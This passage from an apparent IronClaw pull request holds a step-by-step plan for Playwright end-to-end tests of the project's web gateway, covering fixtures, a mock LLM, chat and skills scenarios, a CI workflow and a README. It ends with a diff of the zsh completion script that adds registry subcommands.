"""Shared helpers for E2E tests."""
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
import time
|
||||
|
||||
import httpx
|
||||
|
||||
# ── DOM Selectors ────────────────────────────────────────────────────────
|
||||
# Keep all selectors in one place so changes to the frontend only need
|
||||
# one update.
|
||||
|
||||
SEL = {
|
||||
# Auth
|
||||
"auth_screen": "#auth-screen",
|
||||
"token_input": "#token-input",
|
||||
# Connection
|
||||
"sse_status": "#sse-status",
|
||||
# Tabs
|
||||
"tab_button": '.tab-bar button[data-tab="{tab}"]',
|
||||
"tab_panel": "#tab-{tab}",
|
||||
# Chat
|
||||
"chat_input": "#chat-input",
|
||||
"chat_messages": "#chat-messages",
|
||||
"message_user": "#chat-messages .message.user",
|
||||
"message_assistant": "#chat-messages .message.assistant",
|
||||
# Skills
|
||||
"skill_search_input": "#skill-search-input",
|
||||
"skill_search_results": "#skill-search-results",
|
||||
"skill_search_result": ".skill-search-result",
|
||||
"skill_installed": "#installed-skills .ext-card",
|
||||
}
|
||||
|
||||
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
|
||||
|
||||
# Auth token used across all tests
|
||||
AUTH_TOKEN = "e2e-test-token"
|
||||
|
||||
|
||||
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
|
||||
"""Poll a URL until it returns 200 or timeout."""
|
||||
deadline = time.monotonic() + timeout
|
||||
async with httpx.AsyncClient() as client:
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
resp = await client.get(url, timeout=5)
|
||||
if resp.status_code == 200:
|
||||
return
|
||||
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
|
||||
pass
|
||||
await asyncio.sleep(interval)
|
||||
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
|
||||
|
||||
|
||||
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
|
||||
"""Read process stdout line by line until a port-bearing line matches."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
try:
|
||||
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
|
||||
except asyncio.TimeoutError:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if match := re.search(pattern, decoded):
|
||||
return int(match.group(1))
|
||||
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/helpers.py
|
||||
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 4: conftest.py fixtures
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/conftest.py`
|
||||
|
||||
**Step 1: Write the fixtures**
|
||||
|
||||
Key details from codebase research:
|
||||
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
|
||||
- Health endpoint: `GET /api/health` (public, no auth required)
|
||||
- Auth via `?token=` query parameter for the frontend auto-auth flow
|
||||
- The frontend hides `#auth-screen` when token is valid and SSE connects
|
||||
|
||||
```python
|
||||
"""pytest fixtures for E2E tests.
|
||||
|
||||
Session-scoped: build binary, start mock LLM, start ironclaw.
|
||||
Function-scoped: fresh Playwright browser page per test.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
import signal
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
|
||||
|
||||
# Project root (two levels up from tests/e2e/)
|
||||
ROOT = Path(__file__).resolve().parent.parent.parent
|
||||
|
||||
# Ports: use high fixed ports to avoid conflicts with development instances
|
||||
MOCK_LLM_PORT = 18_199
|
||||
GATEWAY_PORT = 18_200
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def ironclaw_binary():
|
||||
"""Ensure ironclaw binary is built. Returns the binary path."""
|
||||
binary = ROOT / "target" / "debug" / "ironclaw"
|
||||
if not binary.exists():
|
||||
print("Building ironclaw (this may take a while)...")
|
||||
subprocess.run(
|
||||
["cargo", "build", "--no-default-features", "--features", "libsql"],
|
||||
cwd=ROOT,
|
||||
check=True,
|
||||
timeout=600,
|
||||
)
|
||||
assert binary.exists(), f"Binary not found at {binary}"
|
||||
return str(binary)
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def event_loop():
|
||||
"""Create a session-scoped event loop for async fixtures."""
|
||||
loop = asyncio.new_event_loop()
|
||||
yield loop
|
||||
loop.close()
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
async def mock_llm_server():
|
||||
"""Start the mock LLM server. Yields the base URL."""
|
||||
server_script = Path(__file__).parent / "mock_llm.py"
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
try:
|
||||
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
|
||||
url = f"http://127.0.0.1:{port}"
|
||||
await wait_for_ready(f"{url}/v1/models", timeout=10)
|
||||
yield url
|
||||
finally:
|
||||
proc.send_signal(signal.SIGTERM)
|
||||
try:
|
||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
||||
except asyncio.TimeoutError:
|
||||
proc.kill()
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
async def ironclaw_server(ironclaw_binary, mock_llm_server):
|
||||
"""Start the ironclaw gateway. Yields the base URL."""
|
||||
env = {
|
||||
**os.environ,
|
||||
"RUST_LOG": "ironclaw=info",
|
||||
"GATEWAY_ENABLED": "true",
|
||||
"GATEWAY_HOST": "127.0.0.1",
|
||||
"GATEWAY_PORT": str(GATEWAY_PORT),
|
||||
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
|
||||
"GATEWAY_USER_ID": "e2e-tester",
|
||||
"CLI_ENABLED": "false",
|
||||
"LLM_BACKEND": "openai_compatible",
|
||||
"LLM_BASE_URL": mock_llm_server,
|
||||
"LLM_MODEL": "mock-model",
|
||||
"DATABASE_BACKEND": "libsql",
|
||||
"LIBSQL_PATH": ":memory:",
|
||||
"SANDBOX_ENABLED": "false",
|
||||
"SKILLS_ENABLED": "true",
|
||||
"ROUTINES_ENABLED": "false",
|
||||
"HEARTBEAT_ENABLED": "false",
|
||||
"EMBEDDING_ENABLED": "false",
|
||||
# Prevent onboarding wizard from triggering
|
||||
"ONBOARD_COMPLETED": "true",
|
||||
}
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
ironclaw_binary,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
env=env,
|
||||
)
|
||||
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
|
||||
try:
|
||||
await wait_for_ready(f"{base_url}/api/health", timeout=60)
|
||||
yield base_url
|
||||
finally:
|
||||
proc.send_signal(signal.SIGTERM)
|
||||
try:
|
||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
||||
except asyncio.TimeoutError:
|
||||
proc.kill()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def page(ironclaw_server):
|
||||
"""Fresh Playwright browser page, navigated to the gateway with auth."""
|
||||
from playwright.async_api import async_playwright
|
||||
|
||||
async with async_playwright() as p:
|
||||
browser = await p.chromium.launch(headless=True)
|
||||
context = await browser.new_context(viewport={"width": 1280, "height": 720})
|
||||
pg = await context.new_page()
|
||||
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
|
||||
# Wait for the app to initialize (auth screen hidden, SSE connected)
|
||||
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
|
||||
yield pg
|
||||
await context.close()
|
||||
await browser.close()
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/conftest.py
|
||||
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 5: Scenario 1 -- Connection and tab navigation
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_connection.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
```python
|
||||
"""Scenario 1: Connection, auth, and tab navigation."""
|
||||
|
||||
import pytest
|
||||
from helpers import AUTH_TOKEN, SEL, TABS
|
||||
|
||||
|
||||
async def test_page_loads_and_connects(page):
|
||||
"""After auth, the app shows Connected status and all tabs."""
|
||||
# Connection status
|
||||
status = page.locator(SEL["sse_status"])
|
||||
await status.wait_for(state="visible", timeout=10000)
|
||||
text = await status.text_content()
|
||||
assert text is not None
|
||||
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
|
||||
|
||||
# All 6 main tabs visible
|
||||
for tab in TABS:
|
||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
||||
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
|
||||
|
||||
|
||||
async def test_tab_navigation(page):
|
||||
"""Clicking each tab shows its panel."""
|
||||
for tab in TABS:
|
||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
||||
await btn.click()
|
||||
panel = page.locator(SEL["tab_panel"].format(tab=tab))
|
||||
await panel.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# Return to Chat tab
|
||||
await page.locator(SEL["tab_button"].format(tab="chat")).click()
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
|
||||
async def test_auth_rejection(page, ironclaw_server):
|
||||
"""Navigating without a token shows the auth screen."""
|
||||
# Open a new page without the token
|
||||
new_page = await page.context.new_page()
|
||||
await new_page.goto(ironclaw_server)
|
||||
auth_screen = new_page.locator(SEL["auth_screen"])
|
||||
await auth_screen.wait_for(state="visible", timeout=10000)
|
||||
await new_page.close()
|
||||
```
|
||||
|
||||
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
|
||||
|
||||
```bash
|
||||
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
|
||||
```
|
||||
|
||||
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_connection.py
|
||||
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 6: Scenario 2 -- Chat message round-trip
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_chat.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
```python
|
||||
"""Scenario 2: Chat message round-trip via SSE streaming."""
|
||||
|
||||
import pytest
|
||||
from helpers import SEL
|
||||
|
||||
|
||||
async def test_send_message_and_receive_response(page):
|
||||
"""Type a message, receive a streamed response from mock LLM."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# Send message
|
||||
await chat_input.fill("What is 2+2?")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for assistant response
|
||||
assistant_msg = page.locator(SEL["message_assistant"]).last
|
||||
await assistant_msg.wait_for(state="visible", timeout=15000)
|
||||
|
||||
# Verify user message
|
||||
user_msgs = page.locator(SEL["message_user"])
|
||||
assert await user_msgs.count() >= 1
|
||||
last_user = user_msgs.last
|
||||
user_text = await last_user.text_content()
|
||||
assert "2+2" in user_text or "2 + 2" in user_text
|
||||
|
||||
# Verify assistant response contains "4" (from mock LLM canned response)
|
||||
assistant_text = await assistant_msg.text_content()
|
||||
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
|
||||
|
||||
|
||||
async def test_multiple_messages(page):
|
||||
"""Send two messages, verify both get responses."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
# First message
|
||||
await chat_input.fill("Hello")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for first response
|
||||
await page.locator(SEL["message_assistant"]).first.wait_for(
|
||||
state="visible", timeout=15000
|
||||
)
|
||||
|
||||
# Second message
|
||||
await chat_input.fill("What is 2+2?")
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait for second response (at least 2 assistant messages)
|
||||
await page.wait_for_function(
|
||||
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
|
||||
timeout=15000,
|
||||
)
|
||||
|
||||
# Verify counts
|
||||
user_count = await page.locator(SEL["message_user"]).count()
|
||||
assistant_count = await page.locator(SEL["message_assistant"]).count()
|
||||
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
|
||||
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
|
||||
|
||||
|
||||
async def test_empty_message_not_sent(page):
|
||||
"""Pressing Enter with empty input should not create a message."""
|
||||
chat_input = page.locator(SEL["chat_input"])
|
||||
await chat_input.wait_for(state="visible", timeout=5000)
|
||||
|
||||
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
||||
|
||||
# Press Enter with empty input
|
||||
await chat_input.press("Enter")
|
||||
|
||||
# Wait a moment and verify no new messages
|
||||
await page.wait_for_timeout(2000)
|
||||
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
||||
assert final_count == initial_count, "Empty message should not create new messages"
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_chat.py
|
||||
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 7: Scenario 3 -- Skills lifecycle
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/scenarios/test_skills.py`
|
||||
|
||||
**Step 1: Write the test**
|
||||
|
||||
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
|
||||
|
||||
```python
|
||||
"""Scenario 3: Skills search, install, and remove lifecycle."""
|
||||
|
||||
import pytest
|
||||
from helpers import SEL
|
||||
|
||||
|
||||
async def test_skills_tab_visible(page):
|
||||
"""Skills tab shows the search interface."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
|
||||
await panel.wait_for(state="visible", timeout=5000)
|
||||
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
assert await search_input.is_visible(), "Skills search input not visible"
|
||||
|
||||
|
||||
async def test_skills_search(page):
|
||||
"""Search ClawHub for skills and verify results appear."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
await search_input.fill("markdown")
|
||||
await search_input.press("Enter")
|
||||
|
||||
# Wait for results (ClawHub may be slow)
|
||||
try:
|
||||
results = page.locator(SEL["skill_search_result"])
|
||||
await results.first.wait_for(state="visible", timeout=20000)
|
||||
except Exception:
|
||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
||||
|
||||
count = await results.count()
|
||||
assert count >= 1, "Expected at least 1 search result"
|
||||
|
||||
|
||||
async def test_skills_install_and_remove(page):
|
||||
"""Install a skill from search results, then remove it."""
|
||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
||||
|
||||
# Search
|
||||
search_input = page.locator(SEL["skill_search_input"])
|
||||
await search_input.fill("markdown")
|
||||
await search_input.press("Enter")
|
||||
|
||||
try:
|
||||
results = page.locator(SEL["skill_search_result"])
|
||||
await results.first.wait_for(state="visible", timeout=20000)
|
||||
except Exception:
|
||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
||||
|
||||
# Auto-accept confirm dialogs
|
||||
await page.evaluate("window.confirm = () => true")
|
||||
|
||||
# Install first result
|
||||
install_btn = results.first.locator("button", has_text="Install")
|
||||
if await install_btn.count() == 0:
|
||||
pytest.skip("No installable skills found in results")
|
||||
await install_btn.click()
|
||||
|
||||
# Wait for install to complete (installed list updates)
|
||||
# The UI should show the skill in the installed section
|
||||
await page.wait_for_timeout(5000)
|
||||
|
||||
# Check if any installed skills exist now
|
||||
installed = page.locator(SEL["skill_installed"])
|
||||
installed_count = await installed.count()
|
||||
if installed_count == 0:
|
||||
# Try scrolling or waiting longer
|
||||
await page.wait_for_timeout(5000)
|
||||
installed_count = await installed.count()
|
||||
|
||||
assert installed_count >= 1, "Skill should appear in installed list after install"
|
||||
|
||||
# Remove the skill
|
||||
remove_btn = installed.first.locator("button", has_text="Remove")
|
||||
if await remove_btn.count() > 0:
|
||||
await remove_btn.click()
|
||||
await page.wait_for_timeout(3000)
|
||||
|
||||
# Verify removed
|
||||
new_count = await page.locator(SEL["skill_installed"]).count()
|
||||
assert new_count < installed_count, "Skill should be removed from installed list"
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/scenarios/test_skills.py
|
||||
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 8: CI workflow
|
||||
|
||||
**Files:**
|
||||
- Create: `.github/workflows/e2e.yml`
|
||||
|
||||
**Step 1: Write the workflow**
|
||||
|
||||
```yaml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- "src/channels/web/**"
|
||||
- "tests/e2e/**"
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: Browser E2E
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
target
|
||||
~/.cargo/registry
|
||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
||||
|
||||
- name: Build ironclaw (libsql)
|
||||
run: cargo build --no-default-features --features libsql
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install --with-deps chromium
|
||||
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=120
|
||||
|
||||
- name: Upload screenshots on failure
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: e2e-screenshots
|
||||
path: tests/e2e/screenshots/
|
||||
if-no-files-found: ignore
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add .github/workflows/e2e.yml
|
||||
git commit -m "ci: add weekly E2E test workflow with Playwright"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 9: README
|
||||
|
||||
**Files:**
|
||||
- Create: `tests/e2e/README.md`
|
||||
|
||||
**Step 1: Write the README**
|
||||
|
||||
```markdown
|
||||
# IronClaw E2E Tests
|
||||
|
||||
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.11+
|
||||
- Rust toolchain (for building ironclaw)
|
||||
- Chromium (installed via Playwright)
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install chromium
|
||||
```
|
||||
|
||||
## Build ironclaw
|
||||
|
||||
The tests need the ironclaw binary built with libsql support:
|
||||
|
||||
```bash
|
||||
cargo build --no-default-features --features libsql
|
||||
```
|
||||
|
||||
## Run tests
|
||||
|
||||
```bash
|
||||
# From repo root
|
||||
pytest tests/e2e/ -v
|
||||
|
||||
# Run a single scenario
|
||||
pytest tests/e2e/scenarios/test_chat.py -v
|
||||
|
||||
# With visible browser (not headless)
|
||||
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
|
||||
```
|
||||
|
||||
## Architecture
|
||||
|
||||
Tests start two subprocesses:
|
||||
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
|
||||
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
|
||||
|
||||
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
|
||||
|
||||
## Scenarios
|
||||
|
||||
| File | What it tests |
|
||||
|------|--------------|
|
||||
| `test_connection.py` | Auth, tab navigation, connection status |
|
||||
| `test_chat.py` | Send message, SSE streaming, response rendering |
|
||||
| `test_skills.py` | ClawHub search, skill install/remove |
|
||||
|
||||
## Adding new scenarios
|
||||
|
||||
1. Create `tests/e2e/scenarios/test_<name>.py`
|
||||
2. Use the `page` fixture for a fresh browser page
|
||||
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
|
||||
4. Keep tests deterministic -- use the mock LLM, not real providers
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add tests/e2e/README.md
|
||||
git commit -m "docs: E2E test README with setup and usage instructions"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 10: Integration test -- run all scenarios end-to-end
|
||||
|
||||
**Step 1: Build ironclaw**
|
||||
|
||||
```bash
|
||||
cargo build --no-default-features --features libsql
|
||||
```
|
||||
|
||||
**Step 2: Run the full E2E suite**
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/ -v --timeout=120
|
||||
```
|
||||
|
||||
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
|
||||
|
||||
**Step 3: Fix any issues discovered during the run**
|
||||
|
||||
Common issues to watch for:
|
||||
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
|
||||
- Timing: increase wait timeouts if SSE streaming is slow
|
||||
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
|
||||
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
|
||||
|
||||
**Step 4: Final commit with any fixes**
|
||||
|
||||
```bash
|
||||
git add -A tests/e2e/
|
||||
git commit -m "fix: E2E test adjustments from integration run"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| Task | Files | Description |
|
||||
|------|-------|-------------|
|
||||
| 1 | pyproject.toml, __init__.py | Project scaffolding |
|
||||
| 2 | mock_llm.py | Mock OpenAI-compat server |
|
||||
| 3 | helpers.py | Selectors and utilities |
|
||||
| 4 | conftest.py | pytest fixtures |
|
||||
| 5 | test_connection.py | Scenario 1: connection/tabs |
|
||||
| 6 | test_chat.py | Scenario 2: chat round-trip |
|
||||
| 7 | test_skills.py | Scenario 3: skills lifecycle |
|
||||
| 8 | e2e.yml | CI workflow |
|
||||
| 9 | README.md | Documentation |
|
||||
| 10 | (integration run) | Verify everything works |
|
||||
+303
-45
@@ -22,8 +22,8 @@ _ironclaw() {
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
'-V[Print version]' \
|
||||
'--version[Print version]' \
|
||||
":: :_ironclaw_commands" \
|
||||
@@ -44,8 +44,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(onboard)
|
||||
@@ -59,8 +59,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(config)
|
||||
@@ -72,8 +72,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__config_commands" \
|
||||
"*::: :->config" \
|
||||
&& ret=0
|
||||
@@ -228,8 +228,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__tool_commands" \
|
||||
"*::: :->tool" \
|
||||
&& ret=0
|
||||
@@ -374,7 +374,47 @@ esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
(mcp)
|
||||
(registry)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__registry_commands" \
|
||||
"*::: :->registry" \
|
||||
&& ret=0
|
||||
|
||||
case $state in
|
||||
(registry)
|
||||
words=($line[1] "${words[@]}")
|
||||
(( CURRENT += 1 ))
|
||||
curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:"
|
||||
case $line[1] in
|
||||
(list)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \
|
||||
'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \
|
||||
'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
|
||||
'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'-v[Show detailed information]' \
|
||||
'--verbose[Show detailed information]' \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(info)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
@@ -385,6 +425,93 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \
|
||||
&& ret=0
|
||||
;;
|
||||
(install)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'-f[Force overwrite if already installed]' \
|
||||
'--force[Force overwrite if already installed]' \
|
||||
'--build[Build from source instead of downloading pre-built artifact]' \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \
|
||||
&& ret=0
|
||||
;;
|
||||
(install-defaults)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
